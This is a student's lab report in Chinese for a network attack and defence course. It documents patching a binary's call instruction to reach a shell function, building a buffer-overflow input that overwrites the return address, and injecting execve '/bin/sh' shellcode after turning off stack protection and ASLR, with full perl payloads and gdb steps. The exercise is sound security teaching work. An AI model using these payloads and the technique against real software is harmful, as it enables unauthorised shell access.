Exp1_PC平台逆向破解

前期准备


一、逆向及Bof基础实践说明

1.1 实践目标

1.2 基础知识

    • 熟悉Linux基本操作

      • 看懂常用指令,如管道(|),输入、输出重定向(>)等。
    • 理解Bof的原理。

      • 看得懂汇编、机器指令、EIP、指令地址。

    • 会使用gdb,vi。

    • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。

    1. NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

    2. JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。

    3. JE指令:条件转移指令,如果相等则跳转。

    4. JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。

    5. CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    6. 各指令机器码

      • NOP机器码 90。
      • JNE机器码 75
      • JE机器码 74
      • JMP rel8相对短跳转,机器码 EB
      • JMP rel16相对跳转,机器码 E9
      • JMP r/m16绝对跳转,机器码 FF
      • JMP r/m32绝对跳转,机器码 FF
      • JMP ptr1 6:16远距离绝对跳转,机器码 EA
      • JMP ptr1 6:32远距离绝对跳转,机器码 EA
      • JMP m16:16远距离绝对跳转,机器码 FF
      • JMP m16:32远距离绝对跳转,机器码 FF

二、下载pwn文件&拷贝到目录文件夹

从老师所给指导的附件里下载pwn文件,在本机解压后利用vmtools直接拖拽至指定文件夹。

这里我们新创建了一个文件目录 174318张致豪_exp1,既能标明学号姓名,更是为了方便在虚拟机里记录实验的内容,和之后的实验区分开来。

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

在文件目录下输入 ./pwn1 尝试运行其原本功能,若能实现如上图效果(输入XX返回XX)则说明前期准备工作到位了。

实验步骤


一、直接修改程序机器指令,改变程序执行流程

1.步骤知识点:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

    • 输入指令objdump -d pwn1 | more反汇编pwn1文件。
    • 机器语言:call————>机器指令:e8
    • call指令后的表示相对偏移地址(小端模式),机器指令用补码表示
    • 执行到call指令,EIP的值为80484ba,即下一条指令的地址

2.步骤过程及解析

(1)反汇编查看函数地址

Step

    • 输入反汇编语句 objdump -d pwn1 | more
    • 输入 /getShell
    • 查看函数地址,计算出相对偏移量

详细解析:

输入反汇编语句 objdump -d pwn1 | more  进行反汇编

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

输入 /getShell 找到 getShell、main、foo 函数,下图中 080484b5 中的指令为call  8048491

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

如红框所示,该机器指令说这条指令将调用位于地址8048491处的foo函数,其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

正常流程foo函数的作用是回显用户的输入,此时此刻EIP的值应该是下条指令的地址,即80484ba,但因为存在e8这条指令,CPU会转而执行“EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,其正确读法是:“ff ff ff d7”,转换为十进制是-41,又因为 41 = 0x29,80484ba + d7ffffff = 80484ba - 0x29 = 8048491 正好是foo函数的地址。

补码补充

由此可知,我们只需要修改中间的相对偏移量,使函数跳转到我们想要的getshell函数的地址。

当前EIP的值(80484ba)+ 相对偏移量 = getShell函数地址(804847d)

补码的计算:7d - ba = -61,转换成二进制为00111101。

0开头,负数的补码算法:逐位取反,末尾加一

相对偏移量 → 11000011,即c3

(2)vim修改地址反汇编

Step

    • 输入vim编辑器指令 vi pwn1
    • 按ESC后输入:%!xxd
    • 输入 /e8 d7
      • 找到目的地址/e8 d7
      • ESC 后按 i,将目的地址修改为 e8 c3
    • 按ESC后输入:%!xxd -r
    • 保存并退出vim编辑器输入:wq

详细解析:

    • 接下来,我们在终端输入vim指令 vi pwn1 编辑该文件,打开后却发现内容全是乱码,如下图所示

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

    • 这是因为 pwn1 是可执行文件,在该模式下文本不可读,我们只需要将其转换为十六进制模式就可以了,按 ESC 键进入普通模式后,输入 :%!xxd 实现转换
    • 查找我们要修改的地址,键盘输入 /e8 d7 ,vim 编辑器内会自动匹配出我们要找的地址,按 ESC 键后按 i 键进入插入模式,将 d7 修改为 c3 ,如下图所示

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

修改前2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

修改后

    • 修改好地址后,不要急着退出 vim 界面,因为我们还没把 pwn1 文本改回其原本的模式,此时若直接退出 pwn1 将不能正常运行所以,我们需要将十六进制的文本转换为原本模式,输入:%!xxd -r
    • 转换完后,安全的保存并退出 vim,输入:wq

(3)反汇编验证地址并运行

修改成功后再使用反汇编 objdump -d pwn1|more 查看 call 指令是否正确调用 getShell 函数

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

可以发现,地址修改成功后,call 指令正确的调用了 getShell 函数,接下来我们就可以运行 pwn1 了

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

如上图所示,依次运行 pwn2 和 pwn1 文件,对比发现修改后的 pwn1 运行会得到 shell 提示符 # ,说明修改成功。

二、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

1.步骤知识点:堆栈结构、返回地址、ELF文件格式,掌握动态技术

    • 堆栈结构,堆栈是一个特定的存储区或寄存器,它的一端是固定的,另一端是浮动的。在这个存储区存入的数据是一种特殊的数据结构,对于栈来说,存放数据在浮动的一端(称栈顶)进行。

    • 返回地址,主程序中CALL指令后面一条指令的地址

2.步骤过程及解析

(1)反汇编,了解程序的基本功能

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

对pwn2进行反汇编,查看其foo函数具体参数,这里读入字符串,但系统只预留了?字节的缓冲区,超出便会造成溢出,我们的目标是覆盖返回地址,在 main 函数中 call 指令调用 foo 函数后,同时在堆栈上压返回地址 80484ba

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

(2)确认输入字符串哪几个字符会覆盖到返回地址

Step

    • 使用命令 gdb pwn2 调试程序,参数 r 表示运行
    • 按 r 输入字符串 1111111122222222333333334444444412345678
    • 使用info r 指令显示寄存器的值

 详细解析

    • 要想确定那几个字符会覆盖到返回地址,我们需要利用调试功能即 gdb ,终端显示无此命令的话需要下载,输入  apt-get install gdb 后安装
    • 使用命令 gdb pwn2 调试程序,参数 r 表示运行,这里我们输入字符串 1111111122222222333333334444444412345678 ,会发生段错误后溢出

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

    • 输入info r查看寄存器eip的值,发现输入的字符串被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

(3)确认用什么值来覆盖返回地址

由前面反汇编时所知,getShell 函数的地址为 0x0804847d ,由于寄存器显示时是按照十六进制从高位向低位显示,所以转换为(\x7d\x84\x04\x08),接下来的操作要使这块区域变成我们需要的内容即可实现跳转到 getShell 处执行代码,我们只需输入 11111111222222223333333344444444\x7d\x84\x04\x08 。

(4)构造输入字符串

Step

    • 输入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    • 输入 xxd input 查看文件内容
    • 输入 (cat input; cat ) | ./pwn2

详细解析

    • 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以需要生成包括这样字符串的一个文件。输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input ,其中\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键
    • 使用xxd input查看文件内容,看是否和我们预期的一样

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

    • 然后通过管道符|,作为 pwn2 的输入,格式为(cat input; cat ) | ./pwn2

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

运行成功

三、注入一个自己制作的shellcode并运行这段shellcode。

1.步骤知识点:shellcode、缓冲区溢出

    • shellcode就是一段机器指令(code)通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    • 攻击利用缓冲区溢出,同理还是使若输入的字符串第33、34、35、36这四个字节覆盖EIP的值,即返回地址,返回地址不再是修改为getshell的地址,而是shellcode的地址,确定shellcode的位置,一般放在EIP之后,构造字符串,使第33、34、35、36这四个字节指向shellcode的起始地址

2.步骤过程及解析

(1)准备一段Shellcode

    • 采用老师推荐的shellcode。如下\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

(2)设置堆栈可执行&地址随机化设置

Step

    • 输入execstack -s pwn3 //设置堆栈可执行
    • 输入execstack -q pwn3 //查询文件的堆栈是否可执行
    • 输入 X pwn3 more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数
    • 输入echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    • 输入more /proc/sys/kernel/randomize_va_space

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

(3)构造要注入的payload

Step

    • 终端输入

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

    • 往pwn3里注入这段攻击buf:(cat input_shellcode;cat) | ./pwn3
    • 再开另外一个终端,用 gdb 来调试 pwn3 这个进程
    • 输入ps -ef | grep pwn3 发现进程号为33997
    • 输入 gdb 进入调试界面,然后输入 attach 33997 调试这个进程
    • 输入指令 disassemble foo 对 foo 函数进行反汇编
    • 输入break *0x080484ae
    • 回到注入 buf 的终端手动回车一下,然后回到调试的终端,输入指令 c 继续
    • 输入指令 info r esp
    • 输入 x/16x 0xffffd1ac
    • 修改注入代码

 详细解析

    • Linux 下有两种基本构造攻击buf的方法:因为 retaddr 在缓冲区的位置是固定的,shellcode 要不在它前面,要不在它后面。简单说缓冲区小就把 shellcode 放后边,缓冲区大就把 shellcode 放前边。这里我们选择 anything+retaddr+nops+shellcode 这种方式构造攻击代码。

      • retaddr + nop + shellcode
      • nop + shellcode + retaddr。
    • 首先利用十六进制编辑指令 perl 构造一个字符串,写入到 input_shellcode 文件中用作文件执行时的输入。在这段字符串中,末尾的 \x4\x3\x2\x1 会覆盖到堆栈上的返回地址。(PS:最后一个字符千万不能是 \x0a ,否则下面的操作无效)
      perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
    • 打开一个终端注入这段攻击 buf: (cat input_shellcode;cat) | ./pwn3

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

    • 再开另外一个终端,用 gdb 来调试 pwn3 这个进程。输入 ps -ef | grep pwn3 发现进程号为33997

    • 输入 gdb 进入调试界面,然后输入 attach 33997 调试这个进程

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

    • 输入指令 disassemble foo 对 foo 函数进行反汇编。

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

    • 可以看见 pwn3 指令执行一遍后 ret 指令的地址为 0x080484ae ,通过设置断点,来查看注入 buf 的内存地址,输入 break *0x080484ae

    • 之后要回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

    • 接下来输入指令 info r esp 查看查看栈顶指针所在的位置,并以 16 进制形式查看0xfffd1ac地址后面 16 字节的内容

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

    • 由上图很明显看见 0x90909090 ,因为 shellcode 的位置在该位置后四位,所以得到 shellcode 的起始位置为

0xffffd1ac + 0x00000004 = 0xffffd1b0

    • 修改攻击代码,将地址retaddr加进去

perl -e 'print "A" x 32;print "\xb0\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

    • 输入(cat input_shellcode;cat) | ./pwn3,将其输入到程序中

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

然后就可以发现攻击成功了

实验总结


一、实验收获与感想

作为刚接触linux的学生来说,本次的实验可以说是理论与实践的良好结合,不仅涉及到了许多以前课程中的相关知识,更是将系统终端的运用充分发挥,使操作系统、计算机网络、数据结构等课程中的概念性知识用到了实处,更加巩固了知识点,唤起了汇编语言的基础知识,为今后网络攻防课程的学习奠定了坚实的基础。

当然,在本次实验中我也遇到了不少的问题,比如第三个问题里,反汇编后在调试界面里添加一个断点,在此操作后本应返回最开始注入 buf 的终端,手动点击一下回车键后再在调试界面按 c 继续运行,而我忘记了返回开始的终端点击回车按钮,直接在调试界面输入了 c ,却发现之后无论我怎么修改 input_shellcode 里代码的值,输入到 pwn 程序里返回的始终是段错误。另外,在另一终端开始调试前里,有一次输入 ps -ef | grep pwn3 操作后返回了两个pwn3进程,这里我不清楚是什么原因导致的,但根据后面 pts/ 的区别我选择了下面一个进程,照着做下去最后还是攻击成功了。

2019-2020-2 20174318张致豪《网络对抗技术》Exp1 PC平台逆向破解-LMLPHP

至于一些其他的,基本上都是细节的问题,比如 gdb 的安装,execstack 的安装,操作指令书写错了,这些问题都是经常出现的,只要我们更加细心,勤于在网上寻求知识,充分利用网络大环境下资源的共享,多去学学、看看别人的经验分享,我想我们可以收获更多的东西,也能事半功倍,更好的吸收掌握知识点。

二、什么是漏洞?漏洞有什么危害?

  • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。具体举例来说,比如在 Intel Pentium芯片中存在的逻辑错误,在Sendmail早期版本中的编程错误,在NFS协议中认证方式上的弱点,在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用,威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞。
  • 漏洞的危害有大有小,图谋不轨的人可以利用它来要挟迫害人们的正常活动,当然也能用来提示人们增强薄弱环节修补漏洞。前者可能会肆意破坏我们的计算机,强制安装恶意程序、传播病毒、造成资料的损坏,被窃取,被篡改。会对信息安全造成极大的危害,危害涉及个人活动、公司企业,也可能会上升到国际社会层面,影响范围与力度都是不可轻视的。我们学习这门课程也是为了在今后的工作当中,在增强自身防护意识的前提下尽可能抵御未知的漏洞攻击。
05-11 22:43